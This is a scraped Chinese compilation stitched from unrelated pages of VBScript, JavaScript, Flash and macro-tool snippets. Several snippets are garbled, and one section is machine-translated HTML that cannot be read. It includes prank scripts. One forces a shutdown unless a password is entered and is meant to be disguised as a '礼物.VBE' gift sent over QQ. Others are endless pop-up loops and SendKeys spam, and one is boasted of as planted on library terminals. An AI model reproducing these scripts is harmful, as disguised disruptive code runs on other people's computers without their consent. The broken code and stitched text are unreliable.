脚本代码大全
好玩的vbs代码
好玩的VBScript代码VBScript(Visual Basic Scripting Edition)是一种基于VB语言的脚本语言,它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。
VBScript 是一种通用的脚本语言,可以用来实现各种有趣的功能。
在本文中,我们将介绍一些好玩的VBScript代码,展示其强大的功能和娱乐价值。
1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。
该代码将在电脑屏幕上创建一个随机移动的图形,并发出奇怪的声音。
Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码,将在桌面上创建一个随机移动的图形,并且屏幕上会突然发出吓人的声音。
这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。
2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。
文件和文件夹VBS脚本大全
文件和文件夹VBS脚本大全2010-07-09 10:52文件和文件夹VBS脚本大全1推荐文件和文件夹vbs脚本大全枚举文件夹中的所有文件描述返回 Scripts 文件夹中所有文件的列表。
如果计算机有多个文件夹(例如C:\Scripts 和D:\Scripts),则文件将从这些文件夹中的每一个返回。
脚本代码strComputer = "."Set objWMIService = GetObject("winmgmts:" _& "{impersonationLevel=impersonate}!\\" & strComputer& "\root\cimv2")Set colFiles = objWMIService. _ExecQuery("Select * from CIM_DataFile where Path ='\\Scripts\\'")For Each objFile in colFilesWscript.Echo Next移动文件描述演示脚本使用 FileSystermObject 将文件从一个位置移到另一个位置。
此脚本必须运行在本地计算机上。
脚本代码Set objFSO = CreateObject("Scripting.FileSystemObject")objFSO.MoveFile "C:\FSO\ScriptLog.log" , "D:\Archive"通过日期查找文件夹描述查找在 2002 年 3 月 1 日之后创建的所有文件。
要修改此脚本,您必须修改赋给变量dtmTargetDate 的值中的下列项:?2002 -- 将此项更改为目标年(如 1999)。
?03--将此项更改为目标月(01 代表 1 月、 02代表 2月……12 代表 12月)?01 -- 将此项更改为目标天(01 代表该月的第一天、02 代表第二天)。
脚本代码(Scriptcode)
脚本代码(Script code)<目标=“_blank“href =“http:/ / www.qpsh。
COM /”> <img src=“/pa?P = 1:120012775:1”border=“0”> </a><br><br> / QQ链接<表格对齐=中心边界=“0”=“0”cellpadding风格=“边境崩溃:崩溃”>< < TD高度= 5 > >< > < > ><divid=设计风格=“溢出:隐藏;宽度:180px;身高:185px”><divid=设计风格=“溢出:隐藏”><表单元格间距= 0 = 0 = 180 cellpadding宽度对齐=中心边界= 0 >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“青浦海湘缘酒楼”目标=“_blank”class=“tag_title_link”> <桑普风格=“颜色:#FF0000;font-weight: bold;”>青浦海湘缘酒楼< /桑普> < / > < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“青浦盈港河鲜馆”目标=“_blank”class=“tag_title_link”> <桑普风格=“颜色:#FF0000;font-weight: bold;”>青浦盈港河鲜馆< /桑普> < / > < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“上海宝莹电器有限公司”目标=“_blank”class=“tag_title_link”>上海宝莹电器有限公司</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“上海新天宇五金”目标=“_blank”class=“tag_title_link”> <桑普风格=“颜色:#FF0000;font-weight: bold;”>上海新天宇五金< /桑普> < / > < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“苏宁电器青浦公园路店”目标=“_blank”class=“tag_title_link”>苏宁电器青浦公园路店</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“青浦千味红景庭酒家”目标=“_blank”class=“tag_title_link”>青浦千味红景庭酒家</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“青浦山湾河鲜馆”目标=“_blank”class=“tag_title_link”>青浦山湾河鲜馆</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“天天渔港青浦店”目标=“_blank”class=“tag_title_link”>天天渔港青浦店</a> < /TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“白玉兰海鲜馆”目标=“_blank”class=“tag_title_link”>白玉兰海鲜馆</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“青浦浦东鸡美食店”目标=“_blank”class=“tag_title_link”>青浦浦东鸡美食店</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“盛大白金帐号”目标=“_blank”class=“tag_title_link”>盛大白金帐号</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“教育范文”目标=“_blank”class=“tag_title_link”>教育范文</a> < / TD >< >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“网页游戏大全”目标=“_blank”class=“tag_title_link”>网页游戏大全</a> < / TD > < >< </tr><对齐=左宽度=“180”height=“21”>·< class= B2 href=“/”title=“三国游戏”目标=“_blank”class=“tag_title_link”>三国游戏</a> < / TD >< ><表>< ><divid=设计>< >< ><脚本>var速度= 65设计2. innerHTML = design1.innerhtml功能marquee2(){如果(设计2. offsettop设计。
C 语言整人代码大全
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
alert('什么?你居然....');
alert('居然还没意识到自己做错了?');
alert('那好,你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么?你开始有点后悔了?');
alert('何必呢?');
alert('你当初干什么去了?');
alert('不原谅你!');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么?你已经没力气了?');
alert('你一直在求我原谅你啊!');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗?');
alert('真的不会了?');
alert('那好,今天就放你一马!');
case 2
VBS整人代码大全
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
vbs编程必背50个程序
VBS编程必背50个程序什么是VBS编程?VBS,全称为Visual Basic Scripting,是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic,但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件,实现各种任务,如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程?VBS编程是一种非常有用的技能,特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率,简化重复的任务,并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序:1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框,显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为:" & result这个程序会要求你输入两个数字,然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件,并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件,并在其中写入“Hello World!”。
JS脚本大全各种常用脚本
网页常用小技巧1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu=return(false)><td>no</table> 可用于Table2. <body onselectstart="return false"> 取消选取、防止复制3. onpaste="return false" 不准粘贴4. oncopy="return false;" oncut="return false;" 防止复制5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标7. <input style="ime-mode:disabled"> 关闭输入法8. 永远都会带着框架<script language="JavaScript"><!--if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页// --></script>9. 防止被人frame<SCRIPT LANGUAGE=JAVASCRIPT><!--if (top.location != self.location)top.location=self.location;// --></SCRIPT>10. 网页将不能被另存为<noscript><iframe src=*.html></iframe></noscript>11. <input type=button value=查看网页源代码onclick="window.location = 'view-source:'+ '/'">12.删除时确认<a href='javascript :if(confirm("确实要删除吗?"))location="boos.asp?& areyou=删除&page=1"'>删除</a>13. 取得控件的绝对位置//Javascript<script language="Javascript">function getIE(e){var t=e.offsetTop;var l=e.offsetLeft;while(e=e.offsetParent){t+=e.offsetTop;l+=e.offsetLeft;}alert("top="+t+"/nleft="+l);}</script>//VBScript<script language="VBScript"><!--function getIE()dim t,l,a,bset a=document.all.img1t=document.all.img1.offsetTopl=document.all.img1.offsetLeftwhile a.tagName<>"BODY"set a = a.offsetParentt=t+a.offsetTopl=l+a.offsetLeftwendmsgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"end function--></script>14. 光标是停在文本框文字的最后<script language="javascript">function cc(){var e = event.srcElement;var r =e.createTextRange();r.moveStart('character',e.value.length);r.collapse(true);r.select();}</script><input type=text name=text1 value="123" onfocus="cc()">15. 判断上一页的来源javascript :document.referrer16. 最小化、最大化、关闭窗口<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Minimize"></object><object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> <param name="Command" value="Maximize"></object><OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> <PARAM NAME="Command" VALUE="Close"></OBJECT><input type=button value=最小化 onclick=hh1.Click()><input type=button value=最大化 onclick=hh2.Click()><input type=button value=关闭 onclick=hh3.Click()>本例适用于IE17.屏蔽功能键Shift,Alt,Ctrl<script>function look(){if(event.shiftKey)alert("禁止按Shift键!"); //可以换成ALT CTRL}document.onkeydown=look;</script>18. 网页不会被缓存<META HTTP-EQUIV="pragma" CONTENT="no-cache"><META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate"> <META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"> 或者<META HTTP-EQUIV="expires" CONTENT="0">19.怎样让表单没有凹凸感?<input type=text style="border:1 solid #000000">或<input type=text style="border-left:none; border-right:none; border-t op:none; border-bottom:1 solid #000000"></textarea>20.<div><span>&<layer>的区别?<div>(division)用来定义大段的页面元素,会产生转行<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行<layer>是ns的标记,ie不支持,相当于<div>21.让弹出窗口总是在最上面:<body onblur="this.focus();">22.不要滚动条?让竖条没有:<body style='overflow:scroll;overflow-y:hidden'></body>让横条没有:<body style='overflow:scroll;overflow-x:hidden'></body>两个都去掉?更简单了<body scroll="no"></body>23.怎样去掉图片链接点击后,图片周围的虚线?<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>24.电子邮件处理提交表单<form name="form1" method="post" action="mailto:****@***.com" enctype ="text/plain"><input type=submit></form>25.在打开的子窗口刷新父窗口的代码里如何写?window.opener.location.reload()26.如何设定打开页面的大小<body onload="top.resizeTo(300,200);">打开页面的位置<body onload="top.moveBy(300,200);">27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动<STYLE>body{background-image:url(logo.gif); background-repeat:no-repeat;background-position:center;background-attachment: fixed}</STYLE>28. 检查一段字符串是否全由数字组成<script language="Javascript"><!--function checkNum(str){return str.match(//D/)==null}alert(checkNum("1232142141"))alert(checkNum("123214214a1"))// --></script>29. 获得一个窗口的大小document.body.clientWidth; document.body.clientHeight30. 怎么判断是否是字符if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");else alert("全是字符");31.TEXTAREA自适应文字行数的多少<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeig ht=this.scrollHeight"></textarea>32. 日期减去天数等于第二个日期<script language=Javascript>function cc(dd,dadd){//可以加上错误处理var a = new Date(dd)a = a.valueOf()a = a - dadd * 24 * 60 * 60 * 1000a = new Date(a)alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")}cc("12/23/2002",2)</script>33. 选择了哪一个Radio<HTML><script language="vbscript">function checkme()for each ob in radio1if ob.checked then window.alert ob.valuenextend function</script><BODY><INPUT name="radio1" type="radio" value="style" checked>Style<INPUT name="radio1" type="radio" value="barcode">Barcode<INPUT type="button" value="check" onclick="checkme()"></BODY></HTML>34.脚本永不出错<SCRIPT LANGUAGE="JavaScript"><!-- Hidefunction killErrors() {return true;}window.onerror = killErrors;// --></SCRIPT>35.ENTER键可以让光标移到下一个输入框<input onkeydown="if(event.keyCode==13)event.keyCode=9">36. 检测某个网站的链接速度:把如下代码加入<body>区域中:<script language=Javascript>tim=1setInterval("tim++",100)b=1var autourl=new Array()autourl[1]=""autourl[2]=""autourl[3]=""autourl[4]=""autourl[5]=""function butt(){document.write("<form name=autof>")for(var i=1;i<autourl.length;i++)document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=textname=url"+i+" size=40> =》<input type=button value=GOonclick=window.open(this.form.url"+i+".value)><br>")document.write("<input type=submit value=刷新></form>")}butt()function auto(url){document.forms[0]["url"+b].value=urlif(tim>200){document.forms[0]["txt"+b].value="链接超时"}else{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}b++}function run(){for(var i=1;i<autourl.length;i++)document.write("<imgsrc=http://"+autourl+"/"+Math.random()+" width=1 height=1onerror=auto('http://"+autourl+"')>")}run()</script>37. 各种样式的光标auto :标准光标default :标准箭头hand :手形光标wait :等待光标text :I形光标vertical-text :水平I形光标no-drop :不可拖动光标not-allowed :无效光标help :?帮助光标all-scroll :三角方向标move :移动标crosshair :十字标e-resizen-resizenw-resizew-resizes-resizese-resizesw-resize38.页面进入和退出的特效进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">这个是页面被载入和调出时的一些特效。
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
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6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
flash常用脚本代码
一、play命令〔播放〕1、使用格式play()该命令没有参数,功能是使动画从它的当前位置开始放映。
二、stop命令〔停止播放〕1、使用格式stop()该命令没有参数,功能是停止播放动画,并停在当前帧位置。
三、gotoAndPlay命令〔跳至…播放〕1、使用格式gotoAndPlay(frame)参数说明:frame:跳转到帧的标签名称或帧数。
该命令用来控制影片跳转到指定的帧,并开始播放。
2、用法举例gotoAndPlay(10)以上动作代码的作用是:让播放头跳转到当前场景的第10帧并从该帧开始播放。
四、gotoAndStop命令〔跳至…停止播放〕1、使用格式gotoAndStop(frame)参数说明:frame:跳转到帧的标签名称或帧数。
该命令用来控制影片跳转到指定的帧,并停止在该帧。
2、用法举例gotoAndStop(10)以上动作代码的作用是:让播放头跳转到当前场景的第10帧并停止在该帧。
五、stopAllSounds命令〔停止所有音轨〕1、使用格式stopAllSounds()该命令没有参数用来停止当前FlashPlayer中播放的所有声音。
六、if...else语句(条件语句)1、使用格式if(条件){语句1;}else{语句2;}当条件成立时,执行“语句1〞的内容。
当条件不成立时,执行“语句2〞的内容2、用法举例if(a〉b){//判断a是否大于btrace("a>b"); }else{trace("b >=a"); }//假设成立,那么输出a>b//假设不成立那么输出b>=a七、switch...case...default语句〔条件语句〕1、使用格式switch(表达式){case值1:执行语句1;break;case值2:执行语句2;break;default:语句;}先计算表达式的值,然后去各个case子句中寻找对应的执行语句。
几段非常有用的脚本(摘自微软网站)
window命令大全一、在网络硬件故障或网络故障断开时发送警告strComputer = "."Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\wmi")Set colMonitoredEvents = objWMIService.ExecNotificationQuery _ ("Select * from MSNdis_StatusMediaDisconnect")Do While TrueSet strLatestEvent = colMonitoredEvents.NextEventWscript.Echo "A network connection has been lost:"WScript.Echo strLatestEvent.InstanceName, NowWscript.EchoLoop调用方法示例:cscript 网络断开.vbs >> F:\test\微软脚本\log.txt二、在网络硬件连接成功或网络故障恢复连接时发送警告strComputer = "."Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\wmi")Set colMonitoredEvents = objWMIService.ExecNotificationQuery _ ("Select * from MSNdis_StatusMediaConnect")Do While TrueSet strLatestEvent = colMonitoredEvents.NextEventWscript.Echo "A network connection has been made:"WScript.Echo strLatestEvent.InstanceName, NowWscript.EchoLoop调用方法示例:cscript 网络连接.vbs >> F:\test\微软脚本\log.txt三、获取所有域用户信息Const ADS_SCOPE_SUBTREE = 2Set objConnection = CreateObject("ADODB.Connection")Set objCommand = CreateObject("mand") objConnection.Provider = "ADsDSOObject"objConnection.Open "Active Directory Provider"Set objCOmmand.ActiveConnection = objConnectionmandText = _"Select Name, Location from 'LDAP://DC=DomainName,DC=com' " _& "Where objectClass='computer'"objCommand.Properties("Page Size") = 1000objCommand.Properties("Searchscope") = ADS_SCOPE_SUBTREESet objRecordSet = objCommand.ExecuteobjRecordSet.MoveFirstDo Until objRecordSet.EOFWscript.Echo "Computer Name: " &objRecordSet.Fields("Name").ValueWscript.Echo "Location: " & objRecordSet.Fields("Location").Value objRecordSet.MoveNextLoop调用方法示例:cscript 域用户信息.vbs >> F:\test\微软脚本\域用户信息.txt四、修改文本文件内容Const ForReading = 1Const ForWriting = 2Set objFSO = CreateObject("Scripting.FileSystemObject")Set objTextFile = objFSO.OpenTextFile("sample.ini", ForReading)Do Until objTextFile.AtEndOfStreamstrNextLine = objTextFile.ReadlineintLineFinder = InStr(strNextLine, "UserName")If intLineFinder <> 0 ThenstrNextLine = "UserName=邀月工作室"End IfstrNewFile = strNewFile & strNextLine & vbCrLfLoopobjTextFile.CloseSet objTextFile = objFSO.OpenTextFile("sample.ini", ForWriting)objTextFile.WriteLine strNewFileobjTextFile.Close调用方法示例:ModifyFile.vbs附件:Sample.ini:[OEM Install]ProgGroupName=DefaultDestDir=UserName=UserCompanyName=UserSerialNumber=五、通过脚本发送电子邮件从安装了 SMTP Service 的计算机中发送电子邮件的脚本。
vbs整人代码大集合
未知驱动探索,专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码,这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言,可以通过各种操作系统上的微软系列产品(如Windows)来使用。
请注意,这些代码仅用于娱乐目的,不应用于恶意活动或任何非法行为。
使用这些代码时,请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块,并在用户试图移动鼠标指针靠近色块时,自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
VBS脚本常用代码大全2011整理
VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码,收集起来也为了以后学习。
VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案",”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的,然后我们用"strWinDir" 调用这个变量。
按键精灵脚本编写命令大全及示例之欧阳道创编
按键精灵学习教程一、一、键盘命令(2~5页)二、鼠标命令(5~13页)三、控制命令(13~22页)四、颜色/图像命令(22~28页)五、其他命令(28~35页)五、网游脚本实例(35~最后)一、键盘命令命令名称:GetLastKey 检测上次按键命令功能:检测上次按键命令参数:参数1 整数型,可选:变量名返回值:无脚本例子:(8.x语法) 复制代码1.//脚本运行到这一行不会暂停,调用的时候立即返回,得到调用之前最后一次按下的按键码保存在变量Key里。
2.Key=GetLastKey()3.If Key = 13 Then4. Msgbox "你上次按下了回车键"5.End If脚本例子: (7.x语法) 复制代码1.//脚本运行到这一行不会暂停,调用的时候立即返回,得到调用之前最后一次按下的按键码保存在变量Key里。
2.GetLastKey Key3.If Key = 134. Msgbox "你上次按下了回车键"5.EndIf命令名称:KeyDown 按住命令功能:键盘按住命令参数:参数1 整数型,键盘虚拟码(8.X支持按键字符)参数2 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//KeyDown、KeyDownS、KeyDownH2.//KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyDown 65,15.//65是A键的按键码,上面的语句表示按住A键1次6.7.KeyDown "A",18.//上面的支持按键字符,语句表示按住A键1次脚本例子: (7.x语法) 复制代码1.//KeyDown、KeyDownS、KeyDownH2.//KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyDown 65,15.//65是A键的按键码,上面的语句表示按住A键1次命令名称:KeyPress 按键命令功能:键盘按键命令参数:参数1 整数型,键盘虚拟码(8.X支持按键字符)参数2 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//KeyPress、KeyPressS、KeyPressH2.//KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyPress 65,15.//65是A键的按键码,上面的语句表示按A键1次6.7.KeyPress "A",18.//上面的支持按键字符,语句表示按A键1次脚本例子: (7.x语法) 复制代码1.//KeyPress、KeyPressS、KeyPressH2.//KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyPress 65,15.//65是A键的按键码,上面的语句表示按A键1次命令名称:KeyUp 弹起命令功能:键盘弹起命令参数:参数1 整数型,键盘虚拟码(8.X支持按键字符)参数2 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//KeyUp、KeyUpS、KeyUpH2.//KeyUpS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyUpH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyUp 65,15.//65是A键的按键码,上面的语句表示松开A键1次6.7.KeyUp "A",18.//上面的支持按键字符,语句表示松开A键1次脚本例子: (7.x语法) 复制代码1.//KeyUp、KeyUpS、KeyUpH2.//KeyUpS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyUpH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyUp 65,15.//65是A键的按键码,上面的语句表示松开A键1次命令名称:WaitKey 等待按任意键命令功能:等待按任意键命令参数:参数1 整数型,可选:变量名返回值:无脚本例子:(8.x语法) 复制代码1.Key=WaitKey()2.//脚本运行到这一行会暂停,当用户按下键盘后继续执行,并且把用户的按键码保存在变量Key里3.If Key = 13 Then4. MessageBox "恭喜你按下了回车键"5.End If脚本例子: (7.x语法) 复制代码1.WaitKey Key2.//脚本运行到这一行会暂停,当用户按下键盘后继续执行,并且把用户的按键码保存在变量Key里3.If Key = 134. Msgbox "恭喜你按下了回车键"5.EndIf二、鼠标命令命令名称:GetCursorPos 得到鼠标位置坐标命令功能:得到当前鼠标所在的位置坐标命令参数:参数1 整数型,返回x坐标参数2 整数型,返回y坐标返回值:无脚本例子:(8.x语法) 复制代码1.GetCursorPos mx,my2.//把当前鼠标位置的x和y坐标放在变量mx和my中脚本例子: (7.x语法) 复制代码1.VBSCall GetCursorPos(mx,my)2.//把当前鼠标位置的x和y坐标放在变量mx和my中命令名称:GetCursorShape 得到鼠标形状命令功能:得到当前鼠标的形状特征命令参数:参数1 整数型,参数返回值:整数型,鼠标的形状值脚本例子:(8.x语法) 复制代码1.//参数: 0 是6.83之前的版本默认的参数2.//参数: 1 可用于一些在参数0下无法区分鼠标形状代码的情况3.//下面是我们普通的WINDOWS鼠标形状特征4.//不同电脑上鼠标形状特征也许不同,请使用"抓点抓色"功能抓取正确的鼠标形状特征5.Shape1 = 15933502876.//下面是我们访问网页超链接时候的手型鼠标形状7.Shape2 = 10559913298.shape=GetCursorShape(0)9.If shape = shape1 Then10. MessageBox "当前鼠标形状是普通的WINDOWS鼠标"11.ElseIf shape = shape2 Then12. MessageBox "当前鼠标形状是手型鼠标"13.Else14. MessageBox "不认识当前鼠标形状!"15.End If脚本例子: (7.x语法) 复制代码1.//参数: 0 是6.83之前的版本默认的参数2.//参数: 1 可用于一些在参数0下无法区分鼠标形状代码的情况3.//下面是我们普通的WINDOWS鼠标形状特征4.//不同电脑上鼠标形状特征也许不同,请使用"抓点抓色"功能抓取正确的鼠标形状特征5.Shape1 = 15933502876.//下面是我们访问网页超链接时候的手型鼠标形状7.Shape2 = 10559913298.VBSCall Shape=GetCursorShape(0)9.If shape = shape110. MessageBox 当前鼠标形状是普通的WINDOWS鼠标11.ElseIf shape = shape212. MessageBox 当前鼠标形状是手型鼠标13.Else14. MessageBox 不认识当前鼠标形状!15.EndIf命令名称:GetLastClick 检测上次按过的鼠标键命令功能:检测上一次按下的鼠标代码命令参数:参数1 整数型,可选:变量名返回值:无脚本例子:(8.x语法) 复制代码1.Mouse=GetLastClick()2.If Mouse =32770 Or Mouse =32769 Then3. Msgbox "你按下了鼠标左键"4.End If脚本例子: (7.x语法) 复制代码1.GetLastClick Mouse2.If Mouse =32770 Or Mouse =327693. Msgbox "你按下了鼠标左键"4.EndIf命令名称:LeftClick 左键单击命令功能:模拟点击鼠标左键命令参数:参数1 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//LeftClick、LeftClickS、LeftClickH2.//LeftClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftClick 55.//在当前鼠标的位置单击鼠标左键5次脚本例子: (7.x语法) 复制代码1.//LeftClick、LeftClickS、LeftClickH2.//LeftClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftClick 55.//在当前鼠标的位置单击鼠标左键5次命令名称:LeftDoubleClick 左键双击命令功能:模拟双击鼠标左键命令参数:参数1 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//LeftDoubleClick、LeftDoubleClickS、LeftDoubleClickH]2.//LeftDoubleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftDoubleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftDoubleClick 55.//在当前鼠标的位置双击鼠标左键5次脚本例子: (7.x语法) 复制代码1.//LeftDoubleClick、LeftDoubleClickS、LeftDoubleClickH]2.//LeftDoubleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftDoubleClickH: 